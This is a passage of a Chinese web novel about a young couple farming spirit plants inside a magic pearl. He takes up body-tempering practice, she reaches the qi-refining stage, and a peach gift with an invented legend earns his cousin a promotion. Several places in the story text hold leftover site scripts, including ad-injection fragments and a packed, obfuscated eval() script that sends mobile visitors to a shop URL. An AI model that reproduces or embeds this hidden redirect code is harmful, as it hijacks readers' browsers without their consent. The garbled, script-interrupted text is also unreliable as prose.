“刚开始还觉得凉凉的,”梁青山又说,“慢慢变热了,然后越来越热,后来就感觉好像有很多蚂蚁钻进骨头里,在里边啃来啃去。” 说着还举起自己的手,不放心地捏了捏手骨,似乎不确定里头是否真的有蚂蚁在啃噬。 “先喝点水吧。”柳芸香把水囊递过去,看他大口大口地灌水,心头有些迟疑。 这才是第一张方子,里头只是些凡药,便有如此大的药效,往后那些方子,每换一回,效果便剧烈一分,其中的苦头难以想象。 还有那图谱上的姿势,有的看似平平无奇,有的却古怪扭曲至极,仿佛那已不是人的身体,而是一具可以随意摆弄的死物,她看着都觉得冷汗直下,真的要让他练下去吗? “练练练!” 柳芸香回过神,原来是她不自觉把话说出了口。 梁青山赶紧笑嘻嘻地说:“我刚才骗你的,其实没有多难受,要练要练,肯定要接着练。” 事实上,难受是难受的,但咬咬牙也不是不能忍,他说得那么惨,真实目的是想让媳妇儿心疼一下,谁知道差点叫媳妇儿误以为他不能吃苦,梁青山冷汗都快冒出来。 柳芸香看了他两眼,知道后面这句话恐怕才是哄她的,但他既然能坚持,那自然再好不过,她也愿意配合。 怕她不相信,梁青山马上爬起来,套上衣裤,趁着药性还在,对着《至阳图谱》中第一幅图画,开始练那站桩打坐、呼吸吐纳。 初时不得其法,只是搭了个花架子模样。他满心想让媳妇儿看到自己的决心,一门心思对着画上的姿势琢磨,这条路子走不通就再换一条,换得不耐烦的时候,想想媳妇儿就在边上看着,又强自按捺下来。 不知过了多久,他的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动作从刻意僵硬,到自然而然,行动间配合着吐纳,流畅自如,不见凝涩,这才算是入了门槛。 柳芸香一直守在旁边,直到他收了势,才道:“如何?可有不适?” 梁青山动动手脚,有些惊奇,“不酸不痒,一点也没有不舒服的地方。” 他刚泡完那会儿还浑身麻痒,紧接着练功又练了两个时辰,按理说只有更难受的,可实际上他现在通体舒畅,感觉充满了力气。 柳芸香听完,面上终于露出个笑,“那功法修炼起来如此麻烦,总要有点好处,才有人甘愿去练。你如今这样,便是已经入门的好处了。” 假若《至阳图谱》从头到尾只有苦楚,没有甜头,那就算能让凡人走上修行之道,恐怕也没几个人愿意练它。 毕竟凡人求的是长生,而不是永远痛苦的长生。 梁青山捏了捏拳头,跃跃欲试,“我这会儿要是找人打架,应该能打好几个了吧?” 话音没落下,接到柳芸香看过来不赞同的眼神,他立马严肃改口:“正经人谁打架,有力气不如留着干活,我看菜地里草又长高了,正好今天把它们全部拔掉。” 说完,他便找出镰刀,大步冲着菜地去了。 柳芸香在后边摇头失笑。 这一天在珠界里实在过得折腾,又是泡药浴,又是两三个时辰练功,最后还拔了大半亩杂草,饶是梁青山精力充沛也有点受不住,晚间到了外界,几乎一沾床就沉沉睡去。 过了两日,灵田里头一批青竹米成熟。 最早种下的青竹米,成活的只有不到五十株,梁青山没让柳芸香动手,自己一会儿就摘完了。 青色的谷粒装了大半个篮子,每一颗都有莲子大小,带着淡淡竹香。 原先还没种下的时候,梁青山就对着种子暗自垂涎,不过那会儿不知道是否能种活,两人不敢随意浪费种子,一直不曾品尝其味道。 此时刚从枝头摘下的新鲜谷粒就在眼前,看起来比陈谷更加诱人,柳芸香捏起一颗,剥开种皮,里头的米粒也是青色的,只是颜色更淡些。 她把那圆鼓鼓胖嘟嘟的米粒递到梁青山嘴边,“青竹米可生食,据说与熟食相比,是两种不同的风味。” 梁青山有样学样,也剥了一颗喂她,“你也吃。” 柳芸香看他一眼,笑着接过来。 米粒又弹又软,初尝时没什么味道,细细嚼了一会儿,便有淡淡的清甜滋味晕开。咽下之后,有股细微的灵气从肚腑进入经脉,平和温润,令人心生愉悦。 13.第 13 章 013 首批青竹米成熟没两日,第二批也熟了。 这回数量多了许多,有将近五百株,柳芸香和梁青山一起摘了小半日,谷粒装满两个箩筐。 柳芸香先筛选出一千颗最圆润饱满的,存入种子抽屉,剩下那些,则收在库房中。 库房也是一座座大柜子的模样,柜子上分隔成许多抽屉,抽屉看着小小的,实则每一个的容量,几乎都有一间屋子那样大。 第一个抽屉,刚开始只放了筐桃子,后来珠界里菜蔬长得太快,两人吃不完,卖给酒楼又卖不了多少,于是把多余的菜摘下存在屉子中,省得留在地里长老了。之后菜地边上的那亩稻谷成熟,索性又把谷子也存在里头,这个屉子,渐渐变成了他们的粮仓。 粮仓里东西收得多,却都是些没有灵气的,为谨慎起见,柳芸香并未把青竹米与它们放在一块儿,而是另开了个屉子存放,以免灵气流失。 不止是青竹米,以后每收获一种灵植,她都打算单独储存。 想到有朝一日,把柜子上所有抽屉都存满的场景,心里就有说不出的满足。 收好灵谷,柳芸香打开第一个抽屉,取出几样瓜菜,准备拿来做午饭。 值得一提的是,梁青山种的那亩稻谷,就如桃树一样,长得极好。 在外头,一亩上好的水田,也不过能收二百多斤粮食,遇上干旱洪涝还得大打折扣,可在珠界里,一亩地的产量却高达五六百斤,这会儿抽屉里就堆着好几堆谷子,两人轻易实现了顿顿精米白饭的愿望。 “对了,”眼角瞥见角落那筐桃子,柳芸香想起什么,“你上回提到大堂哥的事,我有一点想法,不知能否行得通。” “诶?青河大哥怎么了?”梁青山满脸迷惑,早忘记自己说过的话。 “你不是说,大堂哥在许家布庄受人排挤么?眼下有个机会,或许可以解决此事。” 梁青山立刻好奇追问:“什么机会?” 柳芸香缓缓道来:“许家那位老安人大寿在即,我想许氏子孙必定要献上寿礼,以表孝顺之心,假如大哥能为其中一人找到合意的寿礼,借此获得东家青眼,想来往后布庄里的人便不敢再小觑他。” 梁青山想了想,眨眨眼睛,“你说的合意的寿礼是指?” 柳芸香点点那些甜香扑鼻的大桃子,“不就在这里?” “桃子?”梁青山面露迟疑,他知道媳妇儿说的话肯定有她的道理,但是…… 柳芸香便问他:“你觉得许老安人缺什么呢?” 梁青山挠挠头,“她、她应该不缺什么吧?” 许家二老爷是六品翰林,在朝堂上或许算不得什么人物,但在小小的安阳县,许家人足以横着走,那许老安人又是许家最尊贵的人,以梁青山短短十几年的人生阅历,实在想不出她能缺什么。 柳芸香轻笑着道:“是啊,她什么都不缺,荣华富贵、孝顺儿孙,她都有了,怎么看,这一生都是圆满的。可是你想想,她已经七十岁了,一位七十岁的老人家,有什么是她想要的?” “长命百岁!”梁青山忽然福至心灵,脱口而出。 柳芸香笑着点点头。 哪个享足了富贵的人,不想长久的享受下去?人人都知道长命百岁是奢望,但人人都想长命百岁。 若是平日里,以许家那样的门第,几个桃子别说用以祝寿,就是拿来待客,都有些上不得台面。 可眼下外界正是寒冬时节,万物凋零,连鲜菜都少见的时候,桃子就成了稀罕物。 若再为这几个桃子编上一套扑朔迷离的说辞,加之其本身就有的长寿寓意,便是一份极佳的寿礼,代表着极好的兆头。 梁青山眼巴巴看着她,什么朴素迷离的说辞,什么好兆头,以他的脑袋瓜实在想不出来。 柳芸香话里带着笑意,面上表情却很正经,煞有其事道:“在安阳县城往西四十里外,有一片连绵的山脉,据说曾有仙人在此飞升,当地人称其为飞仙岭。” 梁青山边听边点头,听到飞仙岭三个字,脑袋顿住了,这不就是他们村后头的那片大山吗? 因靠近村里的那座山头叫葫芦岭,村里人提起时,便多以葫芦岭相称,鲜少提及飞仙岭,以至于他猛地听到这个名字,还有点没反应过来。 柳芸香仍在道:“那飞仙岭内,有一处热泉眼,泉边又有一株桃树,年年深秋时节桃花盛开,初冬凋零,从不见结果。唯独今年,有村人偶然进山发现,那株桃树上,结了九个又大又红的桃子,远远看去,仿若蟠桃。” 梁青山脸上表情从好奇到迷茫,又从迷茫到震惊,最后视线落在那筐桃子上。 九个桃子,仿若蟠桃? 他设想了一下,假如自己是许老安人,听说深山里头,有一株秋天开花却从不结果的桃树,偏偏在今年,偏偏在自己七十岁大寿的时候,在天寒地冻的时节里,结出了九个代表长寿的桃子,那他—— “不得高兴死了!”梁青山突然蹦出一句,这是老天要他长命百岁啊! 柳芸香嗔他一眼,高兴就说高兴,非得说高兴死了,得亏不是让他去贺寿,不然多半酒席没吃上,就得被人轰出去。 梁青山还在惊叹中呢,都是一样的人,也不知道媳妇儿的脑袋瓜怎么长的,简简单单三言两语,就把几个普通的桃子,提升到蟠桃的档次。 关键是她说的那番话,大部分都是真的。 确实有飞仙岭的存在,也的确有仙人飞升的传说,只不过连几岁的小孩也不信罢了。 而飞仙岭内,热泉眼有,深秋开花的桃树也有,只有桃树结果这段是假的,但这一点却无人能够证实,因为都说了,那桃树只在今年结果,就算有人明年特意进山去找,也只能找到遍地凋零的桃花。所以他媳妇儿说的这一点点谎,天衣无缝。 梁青山满脸佩服:“芸香,你真的太聪明了!” 柳芸香轻轻摇头,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁门左道罢了,不值得推崇,你若觉得可行,便去找大哥商议一二。” 这份寿礼,若以其价值来论,与金银珠宝、玉雕宝石自然没得比。 然其寓意却独一无二,想必对许老安人来说,钱财富贵早已见惯,好的兆头则可遇不可求。 最重要的是,实际上柳芸香与梁青山付出的,只有九个桃子。 堂伯一家子长久以来对两人颇多照顾,若能借此解决大堂哥的难题,便算是他们的回报了。 梁青山连连点头,“明天我进城送完菜就去找他。” 他简直等不及要看大哥震惊的样子。 柳芸香微微颔首,很快将这事抛诸脑后,眼下她还有更重要的事情。 灵田里的青竹米都已采摘完毕,田间只剩一株株秸秆。这些秸秆同样含有灵气,若在修真界,可以用来饲养灵兽,他们没有灵兽,只能剁碎了洒在田里,充作肥料。 打理完这块水属性灵田,柳芸香又去看了看虎筋草和流焰果。 虎筋草茎叶纤长,每根叶片上都有一条白色细纹,等这些纹路相互连通,便是成熟的标志。 流焰果种得最晚,这会儿堪堪长出花苞,距离结果、果子成长还有不短的时间。 柳芸香给它们捉了虫,除了草,确定没有额外状况,便又来到下一块田地。 她即将培育第四、第五种灵植,分别是沙粉薯和银丝草,依旧为不入品阶等级。 沙粉薯是土属性灵植,有价值的部分是地下块根,可直接食用,味道厚重免密,只需一小块便能饱腹,也可用来炼制低阶辟谷丹,供炼气期修士服用。 银丝草则为金属性灵植,生长缓慢,材质坚固柔韧,常用以制作低阶法衣和法器。 柳芸香将两种灵植分别种下,之后几日,时刻守在灵田边。 沙粉薯先发了芽,小小的嫩芽打着卷儿从地下钻出来,一缕细微的菁纯土灵气随之逸出。 柳芸香当即运起《怜青诀》,把这缕浑厚包容的灵气送入丹田。 不等松口气,她又察觉到另一道灵气的存在,比起以往,这缕灵气若隐若现忽近忽远,显得更加变化莫测,而当她将其捕捉到时,耳边隐隐听到金鸣之声。 这便是五行灵气中最后一道,也是最难收服的菁纯金灵气了。 此刻,五种灵气终于在她丹田里汇合,五行相生又相克,柳芸香虽静坐不动,额头上却已泌出细密的汗珠。 她一刻不停地运行功法,让这些灵气一遍遍流经周身经脉与窍穴,又一遍遍在丹田里相会,五种灵气从一开始相互排斥,到相互纠缠,最终融合成一团浑然天成的灵气旋。 这一瞬间,柳芸香仿佛听见身体里血液潺潺流动的声音,仿佛看见五脏六腑细微跳跃的动静,她有生以来,从未将自己看得这样仔细透彻,从头到脚,纤毫毕现。 她静静睁开眼,轻轻吐出一口气。 现在,她已是炼气期修士了。 14.第 14 章 014 炼气之后,梁青山一眼就发现了柳芸香的不同,却说不出到底哪里不一样,只一遍一遍看她,半天后,十分诚实地冒出一句:“芸香,你看起来好漂亮。” 虽五官还是那副五官,但就是比以前更好看。 总算踏入炼气期,柳芸香心情愉悦,笑着解释道:“那是因为我进阶了。” 此时丹田里的灵力,比引气入体时期更充裕,灵力滋养着身体,体内杂质被排出,体现在容貌上,便是乌发更黑,肌肤更白,朱唇更红。 “进阶了?太好啦!”梁青山兴奋搓手,“那你是不是能招点风下点雨玩玩了?” 那什么清风决、细雨诀,他可好奇好久了。 他虽然也已开始修炼,但炼体之道,专注于对肉身的锤炼,一条路走到极致,诸如呼风唤雨之类的术法,与他是无缘的。 柳芸香摇头轻笑:“我才刚进阶,还未施展过法诀,不知能否成功,且试一试吧。” 这两个算是最基础的法诀,之前她就在心中演练过许多次,这会儿倒不必再去翻书,只以手掐诀,默念法咒,尝试勾动体内的灵力。 低阶修士施展法诀时,常需要借助手诀与法咒,作为勾动灵力的桥梁。待日后修为上涨,一举一动合乎天地规则,再施展法诀,只需心念微起,便可引动灵力、甚至是天地间的灵气,那时才真正称得上翻手为云,覆手为雨。 柳芸香初次尝试并未成功,她也不觉得意外,只默默试了第二次、第三次。 在她不知多少遍打出法诀后,忽有一阵微风从两人面前拂过,地上草叶簌簌而动。 柳芸香停下来,迟疑地看了看眼前的杂草,又看向梁青山。 梁青山早已兴高采烈道:“芸香你真的把风招来了!快快,再下点雨看看!” 柳芸香心中其实不太确定,不知道刚才那股风是她招来的,还是恰巧有一阵风吹过,只是看梁青山那样高兴,嘴角也不自觉带上笑意,当下变幻手势,默念起细雨诀的法咒。 这回足足试了有一炷香,天空依旧晴朗,不见雨滴。 梁青山怕她失落,忙安慰道:“可能这细雨诀跟清风决不太熟,见清风刚来过,它就不乐意来了。要不咱们明天再试试,明天雨一定来。” 柳芸香却未气馁,她早知自己天赋不佳,只是五灵根而已,若非有幸得到混沌珠,这辈子都不可能踏上道途,既然没有天资,便该用旁的来弥补,总不能连耐心也没有。 感受一番体内的灵力,还能再打几次法诀,她对梁青山道:“没事,我再试几回,若实在不成也就罢了。” 梁青山蹲在边上,眼睛眨也不眨盯着,看起来比她还紧张。 他怕招不来雨,惹得媳妇儿伤心,便绞尽脑汁想着,一会儿该用什么法子逗她开心。 想得入神时,忽然感觉鼻尖有点凉,伸手一摸,指尖湿润,不由自言自语:“哪来的水——” 他猛地顿住,仰头看了眼天空,从地上一蹦而起,“下雨啦!下雨啦!媳妇儿你做到啦!” 那雨并不大,落在身上轻如细丝,也只覆盖了小小的一块地方,但确实是个成功的细雨诀。 柳芸香面上含笑,看着梁青山在雨中蹦来蹦去,心头盈满喜悦。 这日之后,柳芸香并未懈怠,每天仍细心照看灵田,打坐修炼,学习法诀。 她这样勤快,梁青山也不敢偷懒,每日里除了地里干活、给酒楼送菜之外,至少练习三个时辰《至阳图谱》。练得多,体力消耗大,食量也跟着大起来,从前喝豆粥,一顿不过三碗,现在顿顿白米干饭,还得四五碗打底。 梁青山自己看着都发愁,幸好珠界里谷子成熟快,产量大,不然就算是地主家,也养不起他这个饭桶。 这日晚饭,他看着锅里沉沉浮浮的白色小团子,奇道:“今天吃汤圆吗?” 转头在灶房里找了一圈,确定只有汤圆,没有别的吃食,又暗自数了数,那汤圆不过二三十颗,他一个人就能包圆。 虽然疑惑媳妇儿为什么只做这点饭,梁青山却没多问,只想着一会儿自己少吃点,要是饿了就进珠界摘几根黄瓜啃啃。 很快汤圆熟了,柳芸香拿出两个碗,在碗底放了点糖和桂花,滚烫的汤水倒入碗中,桂花沉沉浮浮,香味伴着水汽弥漫开来。 “尝尝看。”柳芸香将其中一碗推到梁青山面前。 凑近看,梁青山才发现汤圆的形状有点不对,仔细辨别一番,迟疑道:“不是汤圆,是青竹米?” “是啊。”柳芸香笑着点点头,用汤勺舀起一粒,轻轻吹了吹,送入口中。 青竹米软糯弹牙,桂花浓郁甜香,糖粉添得恰到好处,既不会太寡淡,也不至于太浓腻,两人坐在桌边,一口一个,很快就吃完了。 梁青山看着眼前的空碗,再摸摸肚子,满脸惊奇,“我吃饱了?” 这一碗,也就他两成的食量,而且还连汤带水的,按理说连个肚子缝都填不满,可他却感觉到十足的饱腹感,比平日连吃四五碗还满足! 显然,糖和桂花都没什么稀奇的,关键在于那些青竹米。 “是因为灵气吗?”他猜测。 柳芸香微微颔首,先前她翻阅《至阳图谱》,里头便有提及,炼体之人日常消耗极大,仅靠寻常的饮食,并不能完全补充所耗体力,所以梁青山的食量才会越来越大,而且照这样下去,总有一天,他会觉得怎么吃都吃不饱。 解决的办法也不难,为他提供富含灵气、或者富含血气的食物便可。 今晚她试了试,只不过十几颗青竹米,就抵得上平时那么多饭食。 梁青山新奇了一会儿,又有了新的烦恼,本来他就够费钱了,以后还得天天吃灵米,败家程度又上一层楼! 见他唉声叹气,柳芸香安慰道:“别担心,往后在混沌珠里多种些青竹米便是,我如今已学会了法诀,照看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941730|146639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来只会更加得心应手。” 况且不止梁青山需要灵食,她平日修炼,也需要菁纯灵气,灵植自然是越多越好。 梁青山想了想,说:“芸香,你教我干灵田里的活吧,以后粗活都由我来做,等需要的时候,你再施几个法诀决。” 柳芸香笑着点了点头,以他的性子,若不同意,只怕夜里得睡不着觉,索性依了他。 梁青山这才松了口气,不能叫媳妇儿过上好日子也就罢了,要是还得反过来让媳妇儿种灵米给他吃,那他还不如不练那磨人的功法! 两人收拾了碗筷,正准备一起进混沌珠干活,忽然听见外头传来敲门声。 “这么晚了,谁啊。”梁青山走出去瞧了瞧天色,嘀咕着开了院门。 柳芸香把油灯端到堂屋,很快梁青山走进来,身后跟着梁青河。 她看了眼梁青河的神情,虽然看似平静,却仍察觉得出底下暗藏的喜悦。 果然,才刚坐定,梁青河便迫不及待道:“青山、弟妹,你们这回帮了大哥大忙!” 梁青山回想了下今天的日子,道:“那份寿礼送出去了?” “送出去了。”梁青河语气激动,“昨日我找了个机会,将桃子给了许家大房的二公子,今天许老安人寿宴过后,整个安阳县城就传开了,说老安人平日积德行善,德行修得好,天上仙人赐下九颗蟠桃,许她长命百岁!” 柳芸香与梁青山对手一眼,那桃子的由来,没人比他们更清楚,都是瞎编的,不过话既然能传得这么快,说明那位老安人应该很满意。 梁青河继续道:“傍晚二公子找到我,说老安人给了他一间书肆,问我愿不愿意去书肆当掌柜。” “这是好事啊,”梁青山高兴地说,“恭喜大哥。” 柳芸香也笑着道了喜,原本她和梁青山的目的,只是想让大哥不再受人排挤,眼下这个结果比他们预计的更好。 书肆或许没有布庄挣钱,但梁青河在布庄只是个不受重视的小管事,到了书肆却能做掌柜,地位不可同日而语。况且书肆里来往的客人,多是文人书生,没有那么多弯弯绕绕,也适合他这般安稳做事的人。 梁青河脸上笑着,眼中有泪光一闪而过。他在布庄里熬了十几年,也曾想过出头的一日,却不曾想来得这样快,这样扬眉吐气。下午二公子与他说话时,布庄那些人陡变的脸色,现在回想都觉得痛快。 这一切,都是堂弟和弟妹带给他的。 前几日堂弟神神秘秘找到他,说有好东西要给他的时候,梁青河绝想不到是这样大的惊喜。 他笑着从衣袖里摸出个荷包,说:“咱们一家子兄弟,多余的话我也不说了,往后日子还长着。不过这两对元宝,是二公子额外给的,你们可别推辞。” 梁青山接过荷包打开一瞧,见是一金一银两对元宝,当即就不客气地揣兜里了。 这可都是银子,是什么让大哥误以为他会推辞? 15.第 15 章 015 送走梁青河,梁青山马上把荷包递给柳芸香。 “是金子!”他两眼放光,喜滋滋说道。 就在不久前,他还是个连碎银都没摸过的穷光蛋,转眼居然连金子都有了。 金子可比银子稀罕得多,多少乡下人一辈子都不曾见过,据说邻村那位张地主,他儿媳妇进门时,就戴了一两重的金镯子做嫁妆,村里的妇人们因此议论了大半年,连他都听过几耳朵。 柳芸香将两对元宝取出,一对金光闪闪,一对银光湛湛,做得精巧可爱。 她看了元宝底部的印刻,金的每只二两,银的每只五两。一两金十两银,两只金元宝便值四十两银子,加上银元宝,总共是五十两。 梁青山不禁感慨:“这钱来得可真容易。” 九个桃子,不仅让大哥当上书肆掌柜,还让他们得了五十两银子。 可惜媳妇儿说了,物以稀为贵,这种事能来一回,不能来第二回,不然他就坐等发财了。 忽然想到什么,梁青山赶紧道:“芸香,咱们把金子留下吧,别拿去买药了,存着给你打首饰。” 先前买的两副药,都已被他泡了药浴,明日又是酒楼结算的日子,两人原本打算一起进城,仍拿了菜钱去抓药。 这第一张药浴方子,前后需要泡足九副药,如今还需再买七副,合计银钱二十几两。明天的菜钱大约有个七八两,加上眼前两个五两的银元宝,还是差着几两,梁青山担心柳芸香要动金元宝。 金灿灿的元宝多漂亮啊,给他花了实在太可惜,他只想把它们戴在媳妇儿身上。 柳芸香摇了摇头,温声笑道:“金子是要留下,不过不能给我打首饰,太张扬了。” 小小的岭内村,谁家吃了顿肉,都能从村头传到村尾。两人分家不到两个月,那会儿还身无分文,若转眼就穿金戴银,恐怕以后别想有安稳日子。 况且自从得到混沌珠,踏上修行之路,她便觉得,自己对这些外物看淡了许多,穿不穿新衣裳,戴不戴金首饰,都无甚要紧,有那多余的心思,她更乐意花在灵田里,更乐意学两个新法诀。 至于不用金子买药,倒不是舍不得,而是同样担心太打眼,引来不必要的麻烦。 “那这两块金子能做什么?”听完她的解释,梁青山再看那金元宝,眼睛不亮了,心情不激动了,甚至还有点嫌弃,花又不能花,戴又不能戴,要它们有什么用?还不如银子实在。 柳芸香开玩笑:“留着给你垫桌角如何?” 梁青山听了,果真拿过金元宝捏了捏,见一掐一个指印,十分诚实地摇头,“跟泥一样软,还不如瓦片结实。” 柳芸香当即失笑,朦胧的灯光映在她脸上,肌肤如雪,笑靥如花,看得梁青山呆了半晌。 好不容易收了声,她含笑解释:“金银虽不如铜铁坚硬,也不至于和泥一般软,我想,应该是你这段时间修炼有成,力气大涨的缘故。” 那《至阳图谱》虽然费钱又费人,效果却十分显著,梁青山不过练了十来日,整个人精气神明显不一样,食量大增的同时,体力随之上涨,从前偏瘦的体格,眼见着健壮起来,连身高都往上窜了一截。 不止梁青山,她自己也不知不觉长高了些,柳芸香估摸着,等到年底,两人都得置办新衣,旧衣已经缝缝补补穿了好几年,实在塞不下他们了。 隔天依旧是一大早进城,先去隆兴酒楼结了账,再询问接下来是否继续供货。 当初酒楼买他们的菜,主要是为了压下对手,从而在许家寿宴上露脸,如今寿宴已经结束,柳芸香看着张管事脸上的喜色,猜测这场竞争多半是隆兴酒楼胜出。 既然胜负已定,往后对方还要不要和他们做买卖,便得问问清楚。 张管事听见两人的疑虑,笑呵呵道:“当然还要,梁小弟种的菜品质绝佳,咱们可不是不识货的人,有多少只管送来,直到年前,这买卖都还做得。” 梁青山点了点头,顺口问道:“昨天的寿宴老哥去了没?热不热闹?” 他不过随意一问,张管事却立刻满面红光,声音都高了不少,“怎么没去?咱们安阳县至少二三十年没这样热闹了。你们听说没,许老安人得了九颗茶壶大的桃子,是天上的仙桃呢!” “茶壶大?”梁青山狐疑地看了柳芸香一眼,确定是他们那几个桃子吗?他怎么记得就比拳头大点? 看出他的怀疑,张管事笃定道:“我当时就在许家大宅,跟那桃子不过隔了几道墙,亲眼看见就是有那么大!” 隔了几道墙,还能亲眼看见? 梁青山这下确定是瞎话了。 想他媳妇儿不过编了个小小的谎,还有理有据的,结果这些人纯粹瞎传,传得比他们厉害多了。 本着看热闹不嫌事大的心思,他又问:“为什么说是仙桃,难道是天上掉下来的?” “天上掉下来不就坏了么!”张管事鄙视地看了他一眼,“是许家大房的二公子,听说某地有山神显灵,便千辛万苦爬进深山,为许老安人祈福。山神感念他一片孝心,又念及老安人多年来积善行德,这才让桃树在寒冬里结出九颗蟠桃。当时寿宴在场的人都说了,那桃子光闻一闻味道,都让人神清气爽,通体舒泰!你说,不是仙桃是什么?” 梁青山张了张嘴,又默默闭上,要不是他亲手把那几颗桃子送出去,说不定还真就信了这些鬼话。 辞别张管事,两人向药房走去,路上不时听见有人谈论许家寿宴,那九颗桃子也一再被提起。 柳芸香与梁青山对视一眼,安安静静买了药,径直离开安阳县城。 回到家中,梁青山忽然道:“芸香,我们的秘密一定不能被人发现。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而这点缺陷,却是暂时无法提升的,因此她拿着那本《基础术法》琢磨了一阵,决定再学个不求广度,只求精度的新法诀。 梁青山期待满满地蹲在旁边,看着她指尖掐诀,耳旁仿佛有什么尖锐的东西飞过,转头看去,只见灵田里流焰果的叶子上,一只长相怪异的虫子被金针死死钉在地上。 他忙凑近了仔细研究,也不知金针钉到了哪个要紧部位,绣花针那么细的一根,居然就把偌大虫子钉死了。 更奇妙的是,在他的视线下,那根针正化成轻烟缓缓散开,眨眼就不见了! 梁青山眼睛都要放出光来,“芸香,这是什么法诀?好厉害!” “以金灵气凝聚成针,便叫金针诀。” 梁青山连连点头,“这个方法捉虫子太方便了。” “金针诀可不止这个用途。”柳芸香笑道。 看的书越多,对修真界的事越了解,柳芸香就越清楚,她与梁青山这样闭门造车的状态,其实是不太妥当的。 只是外界显然不适合历练,他们的目标,是混沌珠内这一方世界,总有一日,两人要尝试踏出药仙谷的护山法阵。 法阵外的危险在所难免,她所学的法诀,既是为了照看灵植,也是自保的手段。 16.第 16 章 016 “轰——” 伴着闷响传来,地面一阵颤动。 柳芸香抬眼望去,不远处溪边石滩上,梁青山正卸下一块巨石,靠在旁边喘息。 片刻之后,他再次凝气蓄力,扛起巨石缓缓向前走去,每踏出一步,地上就留下一道深深的脚印。 炼体之道,本就是将肉身淬炼到极致的过程,并且随着实力提升,极致的界限也随之升高。 刚开始,梁青山背负的石头不过二百来斤,如今已接近五百斤。 而《至阳图谱》共有十二层,他练了这么些天,药浴泡过五次,等剩下四副药泡完,才算从初入门槛踏入第一层。 看了一会儿,柳芸香收回视线。 灵田里的虎筋草今日成熟,当初她选择种植这味灵药,除了自己需要菁纯木灵气外,也看中它强筋健骨的功效,是梁青山第二张药浴方子里的药材之一。 大部分虎筋草都将被采收储存,待日后使用,只需留十株结籽留种。 柳芸香一边小心动作,以免伤到根茎,一边思索接下来该挑选哪种木属性灵植。 眼下灵田里,种得最多的是青竹米,足足有两千株,大多时候由梁青山负责照看,她只需在授粉时施展几个清风诀便可。 此外,火属性的流焰果、土属性的沙粉薯,以及金属性的银丝草,都长得很不错,每日勤勤恳恳为她提供菁纯灵气。 只是虎筋草成熟后,便少了木灵气来源,自然要种点别的灵植补上。 将采摘下的虎筋草进库房里,柳芸香洗了手,拿着针线篮坐在竹庐廊下。 腊月将至,初二那天五叔公家孙子成亲,族里近亲都要去喝喜酒,她翻了翻自己跟梁青山的衣箱,发现实在没有能穿着做客的衣裳,只好让他从县里买回布料和棉花,临时缝制新衣。 成为修士的好处体现在方方面面,单说她现在做针线活,眼力和手速就比以往快了不知多少,一套冬衣不过大半日便能做完。 正专心穿针引线,身旁忽然多了道人影,偏头看去,梁青山满身蒸腾的热气靠过来。 “累不累?”柳芸香问他。 梁青山先是点头,又摇了摇头,手掌握拳,指骨霹雳作响,“练完全套就不累了。” 他每日至少修炼三个时辰,先是打坐站桩、握固吐纳,然后去般石头,搬到筋疲力竭时,又开始握固吐纳,如此重复三个时辰,练完并不觉得疲惫,反而精力充足,力量大增,只是体能消耗极大。 柳芸香从旁边篮子里取出一碟蒸米糕,道:“先填填肚子。” 那米糕是青竹米磨粉蒸出来的,她一次做了许多,存在库房里,待他需要就吃上几块,既能补充体力,又方便省事。 梁青山跑去洗了手,回来后先拿了一块米糕递到她嘴边,柳芸香笑着吃了两块,等他再喂,便摇了摇头,他这才把剩下的一扫而空。 吃完了也不走开,就地躺在边上,侧着头看她,“青树叫我跟他一起去迎亲。” 梁青树就是五叔公的孙子,即将成亲的新郎,比梁青山小两岁。 柳芸香点了点头,笑道:“那你出手时可要悠着点儿。” 边说边往他身上瞥了两眼,怕磨损衣物,他都是赤着上身练功,这会儿还没穿上,日益精壮的胸膛上挂着汗珠。迎亲时,女方家总要佯作阻拦的样子,免不了与男方拉扯推攘一番,他现在的力道,要是不留心,可没几个人经得住。 察觉她的视线,梁青山故意绷紧力道,身上筋肉跳了跳,笑嘻嘻问她:“好看吗?” 柳芸香撇开头,微红着脸轻嗔:“没个正经。” 梁青山越发嬉皮笑脸地往她身上凑,他可发现了,媳妇儿对他这身肉挺有兴趣,好几回他没穿衣服从眼前晃悠过去,她都不自觉要看一眼,那他——当然变得更不爱穿衣服啦! 笑闹一会儿,柳芸香把梁青山推起来,拿过新衣给他比了比,他的体格一直在增长,衣裳尺寸需放宽些,不然穿不了多久。 正比划着,她忽的想起一事,轻声道:“喜宴上若见到爹娘,你可别板着脸,让人看见不好。” 她说的爹娘,指的是梁青山的亲父和继母。 两人分家至今,一直忙于生计,甚少出门闲逛,又因住的地方离得远,两三个月下来,双方竟没怎么碰面,即便偶尔路上遇见,他们还未上前问好,那边早已脸一扭歪开了。 过几日喝喜酒,免不了要面对面,虽说她跟梁青山相当于是被赶出来的,村里人提起时也多有同情,但长辈毕竟是长辈,若他们当面不敬,其他人还是会有话说。 梁青山满不在意道:“放心吧,我知道。” 说实话,若非媳妇儿提起,他都快把那两个人忘了,当初被扫地出门的不甘与愤怒,好像上辈子的事。 那事说到底,是他爹太偏心。他们家的财产,都是爷爷奶奶留下的,奶奶离世前,一再要求他爹发誓,来日分家,他这个长子长孙就算不占大头,也必须平分。结果老人家去世不过几年,他爹就用两亩薄田把他打发了,梁青山的愤怒就源于此。 现在想想,有什么好不甘心的,就为那四五间土屋,七八亩田地吗? 